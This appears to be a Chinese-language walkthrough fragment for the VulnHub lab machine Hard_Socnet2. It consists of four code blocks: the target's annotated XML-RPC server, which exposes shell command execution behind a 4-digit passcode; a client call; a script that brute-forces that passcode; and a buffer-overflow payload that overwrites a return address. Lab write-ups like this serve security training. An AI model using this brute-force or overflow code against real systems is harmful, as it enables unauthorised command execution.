VulnHub靶场 Hard_Socnet2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

# 导入必要的库
import SimpleXMLRPCServer  # 导入用于创建 XML-RPC 服务器的库
import subprocess  # 导入用于执行系统命令的库
import random  # 导入用于生成随机数的库

# 生成一个随机的调试密码，范围从 1000 到 9999
debugging_pass = random.randint(1000,9999)

# 定义一个执行命令的函数
def runcmd(cmd):
    # 使用 subprocess.Popen 来执行传入的命令
    # shell=True 使得命令通过 shell 执行，stdin、stdout、stderr 分别是标准输入、输出和错误流
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    # 读取命令的输出，包括标准输出和错误输出
    output = results.stdout.read() + results.stderr.read()

    # 返回命令执行的输出
    return output

# 定义一个获取 CPU 信息的函数
def cpu():
    # 执行 "cat /proc/cpuinfo" 命令，获取 CPU 信息
    return runcmd("cat /proc/cpuinfo")

# 定义一个获取内存信息的函数
def mem():
    # 执行 "free -m" 命令，获取内存的使用情况（以 MB 为单位）
    return runcmd("free -m")

# 定义一个获取磁盘信息的函数
def disk():
    # 执行 "df -h" 命令，获取磁盘的使用情况
    return runcmd("df -h")

# 定义一个获取网络接口信息的函数
def net():
    # 执行 "ip a" 命令，获取网络接口的信息
    return runcmd("ip a")

# 定义一个安全的命令执行函数，只有提供正确的密码才能执行命令
def secure_cmd(cmd, passcode):
    # 检查提供的密码是否与随机生成的调试密码相匹配
    if passcode == debugging_pass:
        # 如果密码正确，则执行命令并返回执行结果
        return runcmd(cmd)
    else:
        # 如果密码错误，返回错误信息
        return "Wrong passcode."

# 创建一个 XML-RPC 服务器，监听所有网络接口上的 8000 端口
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))

# 注册提供的函数，让客户端可以通过 XML-RPC 调用它们
# 注册获取 CPU 信息的函数
server.register_function(cpu)
# 注册获取内存信息的函数
server.register_function(mem)
# 注册获取磁盘信息的函数
server.register_function(disk)
# 注册获取网络信息的函数
server.register_function(net)
# 注册安全命令执行的函数
server.register_function(secure_cmd)

# 启动服务器，开始监听并处理来自客户端的请求
server.serve_forever()

1
2
3
4
5
6
7
8
9
10

import xmlrpc.client

server = xmlrpc.client.ServerProxy("http://192.168.10.225:8000/")

passcode = 1234
command = "ls -la"

result = server.secure_cmd(command, passcode)

print("命令输出:\n", result)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import xmlrpc.client

server = xmlrpc.client.ServerProxy("http://192.168.10.225:8000/")

code = "0"

for i in range(1000, 10000):

    passcode = i
    command = "ls -la"

    result = server.secure_cmd(command, passcode)
    if 'Wrong' not in result:
        print(f"密码为: {passcode}")
        break

1
2
3
4
5
6

import struct
import sys

data = b'A' * 62 + struct.pack('I', 0x08048676) # CPU是小端存储

sys.stdout.buffer.write(data)